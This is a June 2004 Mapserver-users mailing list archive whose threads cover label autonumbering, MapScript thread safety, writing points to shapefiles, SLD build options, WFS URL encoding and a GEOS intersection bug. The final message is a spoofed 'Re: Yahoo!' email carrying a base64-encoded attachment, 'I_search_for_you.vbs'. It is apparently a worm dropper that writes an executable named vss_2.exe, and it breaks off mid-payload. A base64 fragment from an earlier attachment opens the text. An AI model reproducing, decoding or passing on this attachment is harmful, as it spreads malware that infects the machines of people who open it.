gSm2uEtLL4xyWVVCJBDGMxEnjZVUDyrBo7+rpDxAvTKPAAqeMKWTXlo0NpYNZXaHDRGhSGWB XmpJIWsvprTDhUMAL6mYUQR5jAJxHXSXKbUephOZSnpvAw+NhD1hYoxgToMpObJfgQc9Cy5z Sp9GjVqvn2ZdGjoqScFZdibEQLqDRX1kREI6d7EUcKl+omMntXZXnVUBpkBVsE+tVAWKCSuD VWZiqcJ/dcMdsmaAuo+/v2ZFEpIJahlUURCoB6ujXy4ai7W7kSy0AaUAfcaGJABbK8FhryuK XUG9NqvBVHWMbrsRPZAXEaijpoGEVIEwQp7FX4RSCUcCkYddBnmvu0O4X7chYopCIRd3oRVz qSlpLnUocCUlxK54NrOscozEkUXAtaqNgZ+jE3s0IzQ4IhTHr8eQsrq3IGdSeD4HKBF1sKhe bBGom1OhaRZWoRZUY0thQYJewCurs20jXB6EUnNukns6D4U0vQplpI9yf4E5cyYuUbZVO4m5 TY1JSA4+eRlWrWwNAHy+sp56XGFWvzAaxU5WjnG5EErHlg+dUateXx7HUWkbmn6CtAdmYgcV tbsuwSw0G4hDEC5DKqJSRVFuDFVHp04cJkNqnZaGlJW/gZO0hbtyp0hbTTRsolM5XKC2QTqL SR0xxZSZjIYRK2RZByGpplxiEIisUR8Clqt8qWASckpYGBmIjBfBqZu/jIAKOjkJsV6bkBCd SMWPwLtdxqBrKluGtjMiQD9YeCHBngkGbbxqKsSvJRQfFF48MylXogW5QzmLHzK/DxY2wxx3 UE4PR5xUaL8AFyydWU+zmXjCEzUjg7ezZqs9TmptrXjGrzBBtFGjGD1SqyYmRKKVUkCfpXRY aFSMLKaSrZ08YIU5KK2FL4VrfXkAXgcypk4pdgOjrBFTZxK+j6KCMUgquUk1KGd7pIlOqnKM j8esFUGFf4MlKbifEbGEBJgkubscSg6LlrEwoi08OHGGgkvBpUcXJHPFX5ZFIQScqRNETWy3 QQ5uaQQbYkxDmGMyUhOSTrFvrbqCB6thoDIDZjsoVZxht6EXGlJYaionPKx1P5J/QRSqqQJu i2gvbUW8l4R1FZAORniXJGe/SlxUEX8ci5hno7lusVEkxYmUnBF/d051pk46xr9KGFiHQGO0 U0wHAkx1Vjl2pLpVBAacIoUDLiecY5lmPzG1jK1eb3kYCYoBh0A3rlwrvbdMuqA= ----------loaotsdpanrkauovtkrs-- From woodbri at swoodbridge.com Mon Jun 7 10:58:59 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Mon, 07 Jun 2004 13:58:59 -0400 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <40C496B9.2020103@myrealbox.com> References: <20040607144532.7C2C21A659B@mail.medinaco.org> <40C496B9.2020103@myrealbox.com> Message-ID: <40C4ACE3.9050309@swoodbridge.com> Doug wrote: > The reason we're trying to stay away from MapScript is the thread safety > issues we've been reading about. That and the fact that we do all of > our application coding in Java, for which there doesn't appear to be any > standard, accepted implementation. > > So how to people use MapScript anyway if it's not thread safe? Always > as separate CGI processes? Yes, PHP is required to run as a CGI process and likewise for Perl (ie: you can not run it as an apache module or mod_perl application). So what are your requirements regarding autonumbering and label collisions? -Steve W. From lfilak at medinaco.org Mon Jun 7 11:07:26 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 07 Jun 2004 14:07:26 -0400 Subject: [Mapserver-users] Autonumbering of labels? Message-ID: <20040607180717.14B561A659B@mail.medinaco.org> The following message was sent by Doug on Mon, 07 Jun 2004 11:24:25 -0500. > Lowell Filak wrote: > > > The following message was sent by Doug on Mon, 07 > > Jun 2004 08:39:46 -0500. > > > > > >>Steve Lime wrote: > >> > >> > >>>Nope, that functionality doesn't exist. For clarification, you mean only > >>>the > >>>features actually labeled? That may be tough because labels are > >>>assigned before > >>>being queued for rendering and this would need to be far more dynamic. > >>> > >>>If you could expand on your idea that would help... > >>> > >>>Steve > >>> > >>> > >>> > >>>>>>Brad Cantwell 6/3/2004 1:56:37 PM >>> > >>> > >>> > >>>Is there a way to do sequential numbering for labels? We would like > >>>to > >>>have the labels for features autonumbered (i.e. 1 though N). Is there > >>>a > >>>way to do this through the .map file? We are trying to avoid > >>>MapScript > >>>if possible. > >> > >>I work with Brad, and here's what we need to do. We have a layer of > >>specific locations that we need to show on the drawn map. However, we > >>need the locations to be numbered somehow such that for any particular > >>map, the numbers always start at 1. i.e. dynamically giving a temporary > >>"ID" to each location based on what is currently visible. > >> > >>One person suggested creating a dynamic database view with an > >>autonumbered column, but we haven't succeeded with that approach yet. > >>We were also wondering if there are other options. > >> > >>Doug > > > > > > I know your trying to stay away from MapScript but I would suspect with > > it you could do a queryByRect (current extents) on the points layer and > > then loop through the resultCacheObj for each resultCacheMemberObj > > grabbing the shapeindex for the current point and create a pointObj for > > that shapeindex in the layer and then use the pointObj draw method > > specifying the 'character text' value as the sequential number. > > Clear as mud... > > > > Lowell > > The reason we're trying to stay away from MapScript is the thread safety > issues we've been reading about. That and the fact that we do all of > our application coding in Java, for which there doesn't appear to be any > standard, accepted implementation. > > So how to people use MapScript anyway if it's not thread safe? Always > as separate CGI processes? > > Doug I've heard varying reports, most appear to run as a separate CGI process although I do know that some are using mod_perl successfully and the notes are available in the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ModPerl Lowell From dmccann at progressivepartnering.com Mon Jun 7 11:46:58 2004 From: dmccann at progressivepartnering.com (Dave McCann) Date: Mon, 7 Jun 2004 13:46:58 -0500 Subject: [Mapserver-users] Does anyone success add point persistent to shape? In-Reply-To: <001701c449f1$829efce0$dca110ac@lamle> Message-ID: We are looking for a similar function to write point/polygon data that a user plots on a map. Have you been successful in finding the answer? Anyone else out there know of an answer? Thanks, Dave -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of No dream more Sent: Friday, June 04, 2004 12:05 AM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Does anyone success add point persistent to shape? Dear list, I am customizing the interface from mapserver workshop to implementing a function to add point to map. But I got some problem: - If I create a new layer then I open layer for adding a point. The error always is "msSHPOpenFile(): No (NULL) filename provided". $newLyr = new_msLayerObj($mapObj); if($newLyr->open()==MS_SUCCESS){ ////// -> msSHPOpenFile(): No (NULL) filename provided } - I can add a point to existing layer but I can add only one point. This point cannot be save to shape file. //$newLyr = new_msLayerObj($mapObj); $newLyr = $mapObj->getLayerByName("test_point"); $newPoint = ms_newPointObj(); $newPoint->setXY($x, $y); $newLine = ms_newLineObj(); $newLine.add($newPoint); $newShp = ms_newShapeObj(MS_SHAPE_POINT); $newShp->add($newLine); $imgObj = $mapObj->draw(); (If this call, the point can draw) //$imgObj = $mapObj->prepareImage(); (If this call, I got only a blank screen) $newLyr->draw($imgObj); $imgObj->saveImage(""); Does anyone success add point persistent to shape? Thank. Le Ngoc Lam _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From maclean at linnet.ca Mon Jun 7 12:03:00 2004 From: maclean at linnet.ca (Steve MacLean) Date: Mon, 7 Jun 2004 14:03:00 -0500 Subject: [Mapserver-users] SLD Support and MapServer 4.2 Message-ID: <3CA510AEAB8DD411B66B0090273FA09903545216@LINNET_SRV_10> Hi, We are using MapServer 4.2 on Windows 2000 compiled with Micosoft Visual C++. We would like to use MapServer as a WMS server and have SLD support enabled. Doe anything special have to be done during the compile of Mapserver to to enable SLD support besides enabling it as a WMS Client and WMS Server? The reason I ask is that we can't get SLD to work with our builds of MapServer. If we use the Win32 binaries for MapServer 4.2b downloaded from the MapServer web site SLD works. Unfortunatly we can't use the binaries on the web site because the Virtual Spatial Server option doesn't seem to be enabled on it. I can supply the makefiles that i used when building MapServer and the required libraries. Any help would be appreciated. Thanks Steve Steve MacLean maclean at linnet.ca 204-957-6248 From assefa at dmsolutions.ca Mon Jun 7 12:06:36 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 07 Jun 2004 15:06:36 -0400 Subject: [Mapserver-users] SLD Support and MapServer 4.2 In-Reply-To: <3CA510AEAB8DD411B66B0090273FA09903545216@LINNET_SRV_10> References: <3CA510AEAB8DD411B66B0090273FA09903545216@LINNET_SRV_10> Message-ID: <40C4BCBC.3020506@dmsolutions.ca> You should build with USE_OGR (wich is used to parse the xml files). Later, Steve MacLean wrote: > Hi, > > We are using MapServer 4.2 on Windows 2000 compiled with Micosoft Visual > C++. We would like to use MapServer as a WMS server and have SLD support > enabled. Doe anything special have to be done during the compile of > Mapserver to to enable SLD support besides enabling it as a WMS Client and > WMS Server? The reason I ask is that we can't get SLD to work with our > builds of MapServer. If we use the Win32 binaries for MapServer 4.2b > downloaded from the MapServer web site SLD works. Unfortunatly we can't use > the binaries on the web site because the Virtual Spatial Server option > doesn't seem to be enabled on it. > > I can supply the makefiles that i used when building MapServer and the > required libraries. > > Any help would be appreciated. > > Thanks > > Steve > > Steve MacLean > maclean at linnet.ca > 204-957-6248 > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From eric at gomoos.org Mon Jun 7 12:19:35 2004 From: eric at gomoos.org (Eric Bridger) Date: 07 Jun 2004 15:19:35 -0400 Subject: [Mapserver-users] Does anyone success add point persistent to shape? In-Reply-To: References: Message-ID: <1086635981.1560.76.camel@ubet.gomoos.org> There is a difference between a LAYER and a shapefile. Typically the DATA member of a LAYER is a shapefile name. This is probably the default case. But a new layer "$newLyr = new_msLayerObj(" has no DATA member set yet, so the $newLyr->open() will fail. What you want is a shape file object. See http://mapserver.gis.umn.edu/doc/phpmapscript-class-guide.html#shapefileObj and use the $shapefile->add() method. Call $shapefile->free() to save the file and then you can draw the layer if it's DATA member points to the shapefile you just saved. So I guess you want: LAYER NAME "test_point" DATA "myshapefile" $layer = $mapObj->getLayerByName("test_point"); $shapefile = ms_newShapefileObj($layer->{data}, $MS_SHAPE_POINT); ... add your point or shape. $shapefile->free(); $layer->draw($imgObj); (you might have to do another getLayerByName() to reload the layer, but probalby not.) On Mon, 2004-06-07 at 14:46, Dave McCann wrote: > We are looking for a similar function to write point/polygon data that a > user plots on a map. Have you been successful in finding the answer? > > Anyone else out there know of an answer? > > Thanks, > > Dave > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of No dream more > Sent: Friday, June 04, 2004 12:05 AM > To: Mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Does anyone success add point persistent to > shape? > > > Dear list, > > I am customizing the interface from mapserver workshop to implementing a > function to add point to map. But I got some problem: > - If I create a new layer then I open layer for adding a point. The error > always is "msSHPOpenFile(): No (NULL) filename provided". > $newLyr = new_msLayerObj($mapObj); > if($newLyr->open()==MS_SUCCESS){ ////// -> msSHPOpenFile(): No (NULL) > filename provided > } > > - I can add a point to existing layer but I can add only one point. This > point cannot be save to shape file. > > //$newLyr = new_msLayerObj($mapObj); > $newLyr = $mapObj->getLayerByName("test_point"); > > $newPoint = ms_newPointObj(); > $newPoint->setXY($x, $y); > > $newLine = ms_newLineObj(); > $newLine.add($newPoint); > > $newShp = ms_newShapeObj(MS_SHAPE_POINT); > $newShp->add($newLine); > > $imgObj = $mapObj->draw(); (If this call, the point > can draw) > //$imgObj = $mapObj->prepareImage(); (If this call, I got only a > blank screen) > > $newLyr->draw($imgObj); > $imgObj->saveImage(""); > > Does anyone success add point persistent to shape? > > Thank. > > Le Ngoc Lam > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bartvde at xs4all.nl Mon Jun 7 12:28:25 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Mon, 7 Jun 2004 21:28:25 +0200 (CEST) Subject: [Mapserver-users] URL encoding/decoding Message-ID: <9568.209.217.116.146.1086636505.squirrel@webmail.xs4all.nl> Hi list, If I use a browser to perform e.g. a DescribeFeatureType request on Mapserver WFS, and the request is URL encoded, I get back: mapserv(): Web application error. No template provided. So e.g.: http://myserver/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes does not work, and this one does work: http://myserver/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes Is this to be considered a bug? Best regards, Bart From maclean at linnet.ca Mon Jun 7 12:33:32 2004 From: maclean at linnet.ca (Steve MacLean) Date: Mon, 7 Jun 2004 14:33:32 -0500 Subject: [Mapserver-users] SLD Support and MapServer 4.2 Message-ID: <3CA510AEAB8DD411B66B0090273FA09903545218@LINNET_SRV_10> I have USE_OGR enabled and SLD doesn't work. This is what is in the make file for OGR GR=-DUSE_OGR GDAL_DIR=c:\development\mapserver\compile\build\gdal-1.2.0 Thanks Steve -----Original Message----- From: Yewondwossen Assefa [mailto:assefa at dmsolutions.ca] Sent: Monday, June 07, 2004 2:07 PM To: Steve MacLean Cc: 'mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] SLD Support and MapServer 4.2 You should build with USE_OGR (wich is used to parse the xml files). Later, Steve MacLean wrote: > Hi, > > We are using MapServer 4.2 on Windows 2000 compiled with Micosoft Visual > C++. We would like to use MapServer as a WMS server and have SLD support > enabled. Doe anything special have to be done during the compile of > Mapserver to to enable SLD support besides enabling it as a WMS Client and > WMS Server? The reason I ask is that we can't get SLD to work with our > builds of MapServer. If we use the Win32 binaries for MapServer 4.2b > downloaded from the MapServer web site SLD works. Unfortunatly we can't use > the binaries on the web site because the Virtual Spatial Server option > doesn't seem to be enabled on it. > > I can supply the makefiles that i used when building MapServer and the > required libraries. > > Any help would be appreciated. > > Thanks > > Steve > > Steve MacLean > maclean at linnet.ca > 204-957-6248 > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From dmccann at progressivepartnering.com Mon Jun 7 12:31:00 2004 From: dmccann at progressivepartnering.com (Dave McCann) Date: Mon, 7 Jun 2004 14:31:00 -0500 Subject: [Mapserver-users] Does anyone success add point persistent toshape? In-Reply-To: <1086635981.1560.76.camel@ubet.gomoos.org> Message-ID: Thanks! One more question. Can it be done via dynamic html instead of Php? -----Original Message----- From: Eric Bridger [mailto:eric at gomoos.org] Sent: Monday, June 07, 2004 2:20 PM To: Dave McCann Cc: 'No dream more'; Mapserver List Subject: RE: [Mapserver-users] Does anyone success add point persistent toshape? There is a difference between a LAYER and a shapefile. Typically the DATA member of a LAYER is a shapefile name. This is probably the default case. But a new layer "$newLyr = new_msLayerObj(" has no DATA member set yet, so the $newLyr->open() will fail. What you want is a shape file object. See http://mapserver.gis.umn.edu/doc/phpmapscript-class-guide.html#shapefileObj and use the $shapefile->add() method. Call $shapefile->free() to save the file and then you can draw the layer if it's DATA member points to the shapefile you just saved. So I guess you want: LAYER NAME "test_point" DATA "myshapefile" $layer = $mapObj->getLayerByName("test_point"); $shapefile = ms_newShapefileObj($layer->{data}, $MS_SHAPE_POINT); ... add your point or shape. $shapefile->free(); $layer->draw($imgObj); (you might have to do another getLayerByName() to reload the layer, but probalby not.) On Mon, 2004-06-07 at 14:46, Dave McCann wrote: > We are looking for a similar function to write point/polygon data that > a user plots on a map. Have you been successful in finding the answer? > > Anyone else out there know of an answer? > > Thanks, > > Dave > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of No dream > more > Sent: Friday, June 04, 2004 12:05 AM > To: Mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Does anyone success add point persistent to > shape? > > > Dear list, > > I am customizing the interface from mapserver workshop to implementing > a function to add point to map. But I got some problem: > - If I create a new layer then I open layer for adding a point. The > error always is "msSHPOpenFile(): No (NULL) filename provided". > $newLyr = new_msLayerObj($mapObj); > if($newLyr->open()==MS_SUCCESS){ ////// -> msSHPOpenFile(): No (NULL) > filename provided > } > > - I can add a point to existing layer but I can add only one point. > This point cannot be save to shape file. > > //$newLyr = new_msLayerObj($mapObj); > $newLyr = $mapObj->getLayerByName("test_point"); > > $newPoint = ms_newPointObj(); > $newPoint->setXY($x, $y); > > $newLine = ms_newLineObj(); > $newLine.add($newPoint); > > $newShp = ms_newShapeObj(MS_SHAPE_POINT); > $newShp->add($newLine); > > $imgObj = $mapObj->draw(); (If this call, the point > can draw) > //$imgObj = $mapObj->prepareImage(); (If this call, I got only a > blank screen) > > $newLyr->draw($imgObj); > $imgObj->saveImage(""); > > Does anyone success add point persistent to shape? > > Thank. > > Le Ngoc Lam > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ummmmm at myrealbox.com Mon Jun 7 13:01:48 2004 From: ummmmm at myrealbox.com (Doug) Date: Mon, 07 Jun 2004 15:01:48 -0500 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <40C4ACE3.9050309@swoodbridge.com> References: <20040607144532.7C2C21A659B@mail.medinaco.org> <40C496B9.2020103@myrealbox.com> <40C4ACE3.9050309@swoodbridge.com> Message-ID: <40C4C9AC.70100@myrealbox.com> Stephen Woodbridge wrote: > Doug wrote: > >> The reason we're trying to stay away from MapScript is the thread >> safety issues we've been reading about. That and the fact that we do >> all of our application coding in Java, for which there doesn't appear >> to be any standard, accepted implementation. >> >> So how to people use MapScript anyway if it's not thread safe? Always >> as separate CGI processes? > > > Yes, PHP is required to run as a CGI process and likewise for Perl (ie: > you can not run it as an apache module or mod_perl application). > > So what are your requirements regarding autonumbering and label collisions? > > -Steve W. If I understand what you're asking, I think we want to show all labels all the time, even if they collide. Or even if some hid others, we wouldn't want to re-order the numbers. Doug From greg at agog.com Mon Jun 7 13:56:09 2004 From: greg at agog.com (Greg Cockroft) Date: Mon, 7 Jun 2004 16:56:09 -0400 Subject: [Mapserver-users] A new open source project that uses mapserver References: <20040607170003.7225.17782.Mailman@lists.gis.umn.edu> Message-ID: <029201c44cd1$dde1b8d0$0afb10ac@COMPAQDESKTOP> I am in the process of converting the mapjunction.com site to open source. What is Mapjunction? Is an open source set of code for the display of GIS data as well as historical maps and location linked information. Historical maps and aerial photos can be transformed by the site to align with existing georeferenced data. There are two clients.Java and Flash. Current developer documentation is linked at http://www.mapjunction.com The current Boston Redevelopment Authority site that uses mapjunction can be viewed here http://www.mapjunction.com/places/Boston_BRA The flash client has not been released publicly but can been seen at http://www.mapjunction.com/places/Test_BRA/flash/flash.pl Comments welcome. I use a challenge response system so you will get a link emailed back to get on my whitelist. -greg. From woodbri at swoodbridge.com Mon Jun 7 14:18:56 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Mon, 07 Jun 2004 17:18:56 -0400 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <40C4C9AC.70100@myrealbox.com> References: <20040607144532.7C2C21A659B@mail.medinaco.org> <40C496B9.2020103@myrealbox.com> <40C4ACE3.9050309@swoodbridge.com> <40C4C9AC.70100@myrealbox.com> Message-ID: <40C4DBC0.3030507@swoodbridge.com> Steve Lime, This should simplify the issues you raised about this feature. Basically, the autonumber feature should just draw all the points in the view using the FORCE option so there are no renumbering issues, because they are all drawn. -Steve W. Doug wrote: > Stephen Woodbridge wrote: > >> Doug wrote: >> >>> The reason we're trying to stay away from MapScript is the thread >>> safety issues we've been reading about. That and the fact that we do >>> all of our application coding in Java, for which there doesn't appear >>> to be any standard, accepted implementation. >>> >>> So how to people use MapScript anyway if it's not thread safe? >>> Always as separate CGI processes? >> >> >> >> Yes, PHP is required to run as a CGI process and likewise for Perl >> (ie: you can not run it as an apache module or mod_perl application). >> >> So what are your requirements regarding autonumbering and label >> collisions? >> >> -Steve W. > > > If I understand what you're asking, I think we want to show all labels > all the time, even if they collide. Or even if some hid others, we > wouldn't want to re-order the numbers. > > Doug > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From vaiod at berloy.com Mon Jun 7 15:12:45 2004 From: vaiod at berloy.com (Eric Katherman) Date: Mon, 7 Jun 2004 15:12:45 -0700 Subject: [Mapserver-users] Query Help Message-ID: <200406071512.45919.vaiod@berloy.com> Okay I am missing something and have looked at the examples but am not getting the data to show up in a query. Here is what I have. My Layer ... LAYER GROUP streets NAME street DATA street STATUS DEFAULT TYPE LINE FILTERITEM NONSTCO FILTER "B" LABELMAXSCALE 120000 LABELMINSCALE 100 PROJECTION "init=/usr/local/share/proj/epsg:2223" END TOLERANCE 3 CLASSITEM 'STREET_NAM' CLASS TEMPLATE 'mapserver/streets_header.html' NAME 'Major Street Labels' COLOR 184 184 184 OUTLINECOLOR 32 32 32 TEXT ([PRE_DIR] [STREET_NAM] [STREET_TYP]) LABEL COLOR 0 0 0 SHADOWCOLOR 218 218 218 SHADOWSIZE 1 1 TYPE TRUETYPE FONT trebuchet_ms SIZE 12 ANTIALIAS TRUE ANGLE AUTO POSITION CL PARTIALS FALSE MINDISTANCE 300 BUFFER 4 END # end of label END ... I have a template called streets_header.html with nothing in it but the two fields in my .dbf file I want returned... STREET_NAM and STREET_TYP but when I query my map all I get is that page with STREET_NAM and STREET_TYP listed rather then say "49TH AVE" What am I missing? Thanks From songzh at cs.orst.edu Mon Jun 7 15:21:13 2004 From: songzh at cs.orst.edu (songzh at cs.orst.edu) Date: Mon, 7 Jun 2004 15:21:13 -0700 Subject: [Mapserver-users] GEOS intersection problem Message-ID: <1086646873.40c4ea59c8aa5@webmail.oregonstate.edu> When I performed the intersection between a MULTILINESTRING and a POLYGON, the generated MULTILINESTRING shot off a line which went outside the images extents. The details are as the following: 1) The version of GEOS is downloaded from: [2003//11/06]geos-1.0.0.tar.gz on http://geos.refraction.net It's the latest version I can find. 2) The intersection geometry objects are as the following. geom_base (it has three single lines with a common jointed point): "SRID=6010;MULTILINESTRING((602797 1045929,602897 1045629),(602897 1045629,602997 1045929),(602897 1045629,602897 1045529,602897 1045599,602897 1045439,602897 1045429))" geom_py (a rectangle): "SRID=6010;POLYGON((602797 1045829,602997 1045829,602997 1045529,602797 1045529,602797 1045829))" 3) After the SQL statement "select intersection(geom_base, geom_py) from intersect_test" was issued, the intersected geometry object was: geom_intersect ( a multilinestring): "SRID=6010;MULTILINESTRING((602830.333333333 1045829,602897 1045629),(602897 1045629,602963.666666667 1045829),(602897 1045629,602897 1045599),(602897 1045599,2.30261934254173e-269 1.20137436645991e-301))" We can see that one of the generated multiline string has a point " 2.30261934254173e-269 1.20137436645991e-301 " which is actually (0,0). It shows that one of the result line string links to the point (0, 0), which caused the line going out the image range. I want to know if anybody has any idea about this. How to avoid it? Thanks a lot! Yours, Zhigang Song From blaine_hack1 at yahoo.com Mon Jun 7 19:16:55 2004 From: blaine_hack1 at yahoo.com (Blaine Hackett) Date: Mon, 7 Jun 2004 19:16:55 -0700 (PDT) Subject: [Mapserver-users] RE: PHP/MapScript and plotting xy coordinates Message-ID: <20040608021655.1274.qmail@web41109.mail.yahoo.com> All About two weeks ago I posted a question pertaining to using PHP/MapScript to read xy points from a database. The following is some of the information I received and some observations about this task. I received some code from Marcelo from Ecuador. I did not use it but here is his email if you want to ask him for it. marcelito20 at hotmail.com Daniel Morisette sent me a link to OGR's Virtual Spatial Data driver http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData . That is what I used and it is working great. I won?t rehash the information on that link but I will share some of my observations with you. There is a link on the url above that takes you to www.remotesensing.org where you can see how to create a virtual data file. That link was not working when I tried but there is a mirror at http://gdal.maptools.org/. 2. I did not know this but you can get a windows build of MapServer with a recent GDAL/OGR from: http://maptools.org/php_mapscript/index.phtml?page=downloads.html. This is critical and I thought I had to get the OGR separate from MapServer. If you want all the GDAL/OGR utilities then you can get them as part of the OpenEV_FW binary release at http://gdal.maptools.org/download.html. This is helpful especially the ?ogrinfo? that you can run from the command line that helps when testing the database link. I am doing this on XP with Apache. That is about all I can think of right now. Good Luck Blaine __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From steve.lime at dnr.state.mn.us Mon Jun 7 19:48:51 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 07 Jun 2004 21:48:51 -0500 Subject: [Mapserver-users] Autonumbering of labels? Message-ID: Actually I think I know how it could be done regardless of the value of force. When you build the labels you could use a special string like %rn% to denote a draw time substitution (just like runtime substitutions with the CGI). Then as you plop labels on the map you could keep count and each label gets the value of count+1 substituted for %rn%. If a label isn't drawn, no biggie cause the counter doesn't go anywhere either. I wonder though if there is real value in this. What do the numbers really mean? I could see utility in labeling features and then referencing them by number elsewhere on a page (e.g. found 5 hotels within 10 miles of point x). However, there's no way to tie numbers to actual features, not with more work. Could someone file a bug/feature request on this one so it doesn't get lost? I won't have time until after MUM2 to think about it. Steve >>> Stephen Woodbridge 06/07/04 4:18 PM >>> Steve Lime, This should simplify the issues you raised about this feature. Basically, the autonumber feature should just draw all the points in the view using the FORCE option so there are no renumbering issues, because they are all drawn. -Steve W. Doug wrote: > Stephen Woodbridge wrote: > >> Doug wrote: >> >>> The reason we're trying to stay away from MapScript is the thread >>> safety issues we've been reading about. That and the fact that we do >>> all of our application coding in Java, for which there doesn't appear >>> to be any standard, accepted implementation. >>> >>> So how to people use MapScript anyway if it's not thread safe? >>> Always as separate CGI processes? >> >> >> >> Yes, PHP is required to run as a CGI process and likewise for Perl >> (ie: you can not run it as an apache module or mod_perl application). >> >> So what are your requirements regarding autonumbering and label >> collisions? >> >> -Steve W. > > > If I understand what you're asking, I think we want to show all labels > all the time, even if they collide. Or even if some hid others, we > wouldn't want to re-order the numbers. > > Doug > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Mon Jun 7 20:59:27 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 07 Jun 2004 21:59:27 -0600 Subject: [Mapserver-users] Re: Yahoo! Message-ID: ----------leinptcxmaptzkxpfmup Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------leinptcxmaptzkxpfmup Content-Type: application/octet-stream; name="I_search_for_you.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="I_search_for_you.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww 